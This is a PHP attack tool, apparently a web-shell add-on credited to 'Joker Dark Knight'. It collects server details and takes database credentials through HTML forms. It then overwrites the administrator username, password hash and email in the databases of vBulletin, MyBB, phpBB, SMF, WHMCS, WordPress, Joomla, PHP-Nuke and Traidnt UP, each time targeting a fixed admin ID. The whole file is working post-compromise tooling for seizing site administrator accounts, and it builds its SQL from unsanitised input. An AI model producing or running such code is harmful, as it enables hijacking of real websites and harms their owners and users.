<?php
//Begining of Coding
error_reporting(0);
    $info = $_SERVER['SERVER_SOFTWARE'];
    $site = getenv("HTTP_HOST");
    $page = $_SERVER['SCRIPT_NAME'];
    $sname = $_SERVER['SERVER_NAME'];
    $uname = php_uname();
    $smod = ini_get('safe_mode');
    $disfunc = ini_get('disable_functions');
    $yourip = $_SERVER['REMOTE_ADDR'];
    $serverip = $_SERVER['SERVER_ADDR'];
	
//Title
echo "<head>
<style>
body{font-size:12px;font-family:arial,helvetica;scrollbar-width:5;scrollbar-height:5;scrollbar-face-color:#000;scrollbar-shadow-color:silver;scrollbar-highlight-color:silver;scrollbar-3dlight-color:silver;scrollbar-darkshadow-color:silver;scrollbar-track-color:#000;scrollbar-arrow-color:silver}
</style>
<title>Change Pas - [$site]</title></head>";
//Button List
echo "<center><form method=POST action''><input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'></form></center>";
function update()
{
	echo "[+] Update Has Done ^_^";
}
//vBulletin
if (isset($_POST['vbulletin']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change vBulletin Info<br>Patch Control Panel : [patch]/admincp<br>Path Config : [patch]/includes/config.php<br>includes/init.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/class_core.php </font>
<font face='Arial' color='#FF0000'>>></font><font face='Arial' color='#000000'> includes/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=forums type=text name=dbnvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=vb_ type=text name=prvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>User admin<br></font><input value=admin type=text name=urvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>New password admin<br></font><input value=JDK type=password name=psvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>New E-mail admin<br></font><input value=your-email@xxxx.com type=text name=emvb size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ><br>
          </form></center></td></tr></table></center>";
}else{
$dbhvb = $_POST['dbhvb'];
$dbnvb  = $_POST['dbnvb'];
$dbuvb = $_POST['dbuvb'];
$dbpvb  = $_POST['dbpvb'];
         @mysql_connect($dbhvb,$dbuvb,$dbpvb);
         @mysql_select_db($dbnvb);

$urvb=str_replace("\'","'",$urvb);

$set_urvb = $_POST['urvb'];

$psvb=str_replace("\'","'",$psvb);
$pass_vb = $_POST['psvb'];

$emvb=str_replace("\'","'",$emvb);
$set_emvb = $_POST['emvb'];

$vb_prefix = $_POST['prvb'];

$table_name = $vb_prefix."user" ;

$query = 'select * from ' . $table_name . ' where username="' . $set_urvb . '";';

$result = mysql_query($query);
$row = mysql_fetch_array($result);
$salt = $row['salt'];
$pass2 = md5($pass_vb);
$pass =$pass2 . $salt;

$set_pssalt = md5($pass);

$lecongthien1 = 'UPDATE ' . $table_name . ' SET password="' . $set_pssalt . '" WHERE username="' . $set_urvb . '";';
$lecongthien2 = 'UPDATE ' . $table_name . ' SET email="' . $set_emvb . '" WHERE username="' . $set_urvb . '";';

$ok1=@mysql_query($lecongthien1);
$ok1=@mysql_query($lecongthien2);

if($ok1){
echo "<script>alert('vBulletin update success . Thank  Joker Dark Knight very much ;)');</script>";
}
}

//MyBB
if (isset($_POST['mybb']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change MyBB Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/inc/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=mybb type=text name=dbnmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbumy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change E-mail admin<br></font><input value=your-email@xxx.com type=text name=emmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=mybb_ type=text name=prmy size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhmy = $_POST['dbhmy'];
$dbnmy  = $_POST['dbnmy'];
$dbumy = $_POST['dbumy'];
$dbpmy  = $_POST['dbpmy'];
         @mysql_connect($dbhmy,$dbumy,$dbpmy);
         @mysql_select_db($dbnmy);

$urmy=str_replace("\'","'",$urmy);
$set_urmy = $_POST['urmy'];

$emmy=str_replace("\'","'",$emmy);
$set_emmy = $_POST['emmy'];

$my_prefix = $_POST['prmy'];

$table_name1 = $my_prefix."users" ;

$lecongthien3 = "UPDATE $table_name1 SET username ='".$set_urmy."' WHERE uid ='1'";
$lecongthien4 = "UPDATE $table_name1 SET email ='".$set_emmy."' WHERE uid ='1'";

$ok2=@mysql_query($lecongthien3);
$ok2=@mysql_query($lecongthien4);

if($ok2){
echo "<script>alert('MyBB update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//phpBB
if (isset($_POST['phpbb']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change phpBB Info<br>Patch Control Panel : [patch]/adm<br>Path Config : [patch]/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=phpbb type=text name=dbnphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=JDK type=password name=psphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=phpbb_ type=text name=prphp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhphp = $_POST['dbhphp'];
$dbnphp  = $_POST['dbnphp'];
$dbuphp = $_POST['dbuphp'];
$dbpphp  = $_POST['dbpphp'];
         @mysql_connect($dbhphp,$dbuphp,$dbpphp);
         @mysql_select_db($dbnphp);

$urphp=str_replace("\'","'",$urphp);
$set_urphp = $_POST['urphp'];

$psphp=str_replace("\'","'",$psphp);
$pass_php = $_POST['psphp'];
$set_psphp = md5($pass_php);

$php_prefix = $_POST['prphp'];

$table_name2 = $php_prefix."users" ;

$lecongthien5 = "UPDATE $table_name2 SET username_clean ='".$set_urphp."' WHERE user_id ='2'";
$lecongthien6 = "UPDATE $table_name2 SET user_password ='".$set_psphp."' WHERE user_id ='2'";

$ok3=@mysql_query($lecongthien5);
$ok3=@mysql_query($lecongthien6);

if($ok3){
echo "<script>alert('phpBB update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//SMF
if (isset($_POST['smf']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change SMF Info<br>Patch Control Panel : [patch]/index.php?action=admin<br>Path Config : [patch]/Settings.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=smf type=text name=dbnsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbusmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=ursmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change E-mail admin<br></font><input value=your-email@xxx.com type=text name=emsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=smf_ type=text name=prsmf size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhsmf = $_POST['dbhsmf'];
$dbnsmf  = $_POST['dbnsmf'];
$dbusmf = $_POST['dbusmf'];
$dbpsmf  = $_POST['dbpsmf'];
         @mysql_connect($dbhsmf,$dbusmf,$dbpsmf);
         @mysql_select_db($dbnsmf);

$ursmf=str_replace("\'","'",$ursmf);
$set_ursmf = $_POST['ursmf'];

$emsmf=str_replace("\'","'",$emsmf);
$set_emsmf = $_POST['emsmf'];

$smf_prefix = $_POST['prsmf'];

$table_name3 = $smf_prefix."members" ;

$lecongthien7 = "UPDATE $table_name3 SET member_name ='".$set_ursmf."' WHERE id_member ='1'";
$lecongthien8 = "UPDATE $table_name3 SET email_address ='".$set_emsmf."' WHERE id_member ='1'";

$lecongthien7 = "UPDATE $table_name3 SET memberName ='".$set_ursmf."' WHERE ID_MEMBER ='1'";
$lecongthien8 = "UPDATE $table_name3 SET emailAddress ='".$set_emsmf."' WHERE ID_MEMBER ='1'";

$ok4=@mysql_query($lecongthien7);
$ok4=@mysql_query($lecongthien8);

if($ok4){
echo "<script>alert('SMF update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//WHMCS
if (isset($_POST['whmcs']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change WHMCS Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/configuration.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=whmcs type=text name=dbnwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urwhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=JDK type=password name=pswhm size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhwhm = $_POST['dbhwhm'];
$dbnwhm  = $_POST['dbnwhm'];
$dbuwhm = $_POST['dbuwhm'];
$dbpwhm  = $_POST['dbpwhm'];
         @mysql_connect($dbhwhm,$dbuwhm,$dbpwhm);
         @mysql_select_db($dbnwhm);

$urwhm=str_replace("\'","'",$urwhm);
$set_urwhm = $_POST['urwhm'];

$pswhm=str_replace("\'","'",$pswhm);
$pass_whm = $_POST['pswhm'];
$set_pswhm = md5($pass_whm);

$lecongthien9 = "UPDATE tbladmins SET username ='".$set_urwhm."' WHERE id ='1'";
$lecongthien10 = "UPDATE tbladmins SET password ='".$set_pswhm."' WHERE id ='1'";

$ok5=@mysql_query($lecongthien9);
$ok5=@mysql_query($lecongthien10);

if($ok5){
echo "<script>alert('WHMCS update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//WordPress
if (isset($_POST['wordpress']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change WordPress Info<br>Patch Control Panel : [patch]/wp-admin<br>Path Config : [patch]/wp-config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=wordpress type=text name=dbnwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=JDK type=password name=pswp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=wp_ type=text name=prwp size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhwp = $_POST['dbhwp'];
$dbnwp  = $_POST['dbnwp'];
$dbuwp = $_POST['dbuwp'];
$dbpwp  = $_POST['dbpwp'];
         @mysql_connect($dbhwp,$dbuwp,$dbpwp);
         @mysql_select_db($dbnwp);

$urwp=str_replace("\'","'",$urwp);
$set_urwp = $_POST['urwp'];

$pswp=str_replace("\'","'",$pswp);
$pass_wp = $_POST['pswp'];
$set_pswp = md5($pass_wp);

$wp_prefix = $_POST['prwp'];

$table_name4 = $wp_prefix."users" ;

$lecongthien11 = "UPDATE $table_name4 SET user_login ='".$set_urwp."' WHERE ID ='1'";
$lecongthien12 = "UPDATE $table_name4 SET user_pass ='".$set_pswp."' WHERE ID ='1'";

$ok6=@mysql_query($lecongthien11);
$ok6=@mysql_query($lecongthien12);

if($ok6){
echo "<script>alert('WordPress update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//Joomla
if (isset($_POST['joomla']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change Joomla Info<br>Patch Control Panel : [patch]/administrator<br>Path Config : [patch]/configuration.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=joomla type=text name=dbnjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbujos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=JDK type=password name=psjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=jos_ type=text name=prjos size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhjos = $_POST['dbhjos'];
$dbnjos  = $_POST['dbnjos'];
$dbujos = $_POST['dbujos'];
$dbpjos  = $_POST['dbpjos'];
         @mysql_connect($dbhjos,$dbujos,$dbpjos);
         @mysql_select_db($dbnjos);

$urjos=str_replace("\'","'",$urjos);
$set_urjos = $_POST['urjos'];

$psjos=str_replace("\'","'",$psjos);
$pass_jos = $_POST['psjos'];
$set_psjos = md5($pass_jos);

$jos_prefix = $_POST['prjos'];

$table_name5 = $jos_prefix."users" ;

$lecongthien13 = "UPDATE $table_name5 SET username ='".$set_urjos."' WHERE id ='62'";
$lecongthien14 = "UPDATE $table_name5 SET password ='".$set_psjos."' WHERE id ='62'";

$ok7=@mysql_query($lecongthien13);
$ok7=@mysql_query($lecongthien14);

if($ok7){
echo "<script>alert('Joomla update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//PHP-NUKE
if (isset($_POST['php-nuke']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change PHP-NUKE Info<br>Patch Control Panel : [patch]/admin.php<br>Path Config : [patch]/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=phpnuke type=text name=dbnpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbupnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbppnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=JDK type=password name=pspnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Table prefix<br></font><input value=nuke_ type=text name=prpnk size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhpnk = $_POST['dbhpnk'];
$dbnpnk  = $_POST['dbnpnk'];
$dbupnk = $_POST['dbupnk'];
$dbppnk  = $_POST['dbppnk'];
         @mysql_connect($dbhpnk,$dbupnk,$dbppnk);
         @mysql_select_db($dbnpnk);

$urpnk=str_replace("\'","'",$urpnk);
$set_urpnk = $_POST['urpnk'];

$pspnk=str_replace("\'","'",$pspnk);
$pass_pnk = $_POST['pspnk'];
$set_pspnk = md5($pass_pnk);

$pnk_prefix = $_POST['prpnk'];

$table_name6 = $pnk_prefix."users" ;
$table_name7 = $pnk_prefix."authors" ;

$lecongthien15 = "UPDATE $table_name6 SET username ='".$set_urpnk."' WHERE user_id ='2'";
$lecongthien16 = "UPDATE $table_name6 SET user_password ='".$set_pspnk."' WHERE user_id ='2'";

$lecongthien17 = "UPDATE $table_name7 SET aid ='".$set_urpnk."' WHERE radminsuper ='1'";
$lecongthien18 = "UPDATE $table_name7 SET pwd ='".$set_pspnk."' WHERE radminsuper ='1'";

$ok8=@mysql_query($lecongthien15);
$ok8=@mysql_query($lecongthien16);
$ok8=@mysql_query($lecongthien17);
$ok8=@mysql_query($lecongthien18);

if($ok8){
echo "<script>alert('PHP-NUKE update success . Thank Joker Dark Knight very much ;)');</script>";
}
}

//Traidnt UP
if (isset($_POST['up']))
{
echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change Traidnt UP Info<br>Patch Control Panel : [patch]/uploadcp<br>Path Config : [patch]/includes/config.php</font></center>
    <center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB name<br></font><input value=upload type=text name=dbnup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>DB password<br></font><input value=admin type=password name=dbpup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change user admin<br></font><input value=JDK type=text name=urup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <font face='Arial' color='#000000'>Change password admin<br></font><input value=JDK type=password name=psup size='50' style='font-size: 8pt; color: #000000; font-family: Tahoma; border: 1px solid #666666; background-color: #FFFFFF'><br>
          <input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{
$dbhup = $_POST['dbhup'];
$dbnup  = $_POST['dbnup'];
$dbuup = $_POST['dbuup'];
$dbpup  = $_POST['dbpup'];
         @mysql_connect($dbhup,$dbuup,$dbpup);
         @mysql_select_db($dbnup);

$urup=str_replace("\'","'",$urup);
$set_urup = $_POST['urup'];

$psup=str_replace("\'","'",$psup);
$pass_up = $_POST['psup'];
$set_psup = md5($pass_up);

$lecongthien19 = "UPDATE admin SET admin_user ='".$set_urup."' WHERE admin_id ='1'";
$lecongthien20 = "UPDATE admin SET admin_password ='".$set_psup."' WHERE admin_id ='1'";

$ok9=@mysql_query($lecongthien19);
$ok9=@mysql_query($lecongthien20);

if($ok9){
echo "<script>alert('Traidnt UP update success . Thank Joker Dark Knight very much ;)');</script>";
}
}
//END
?>
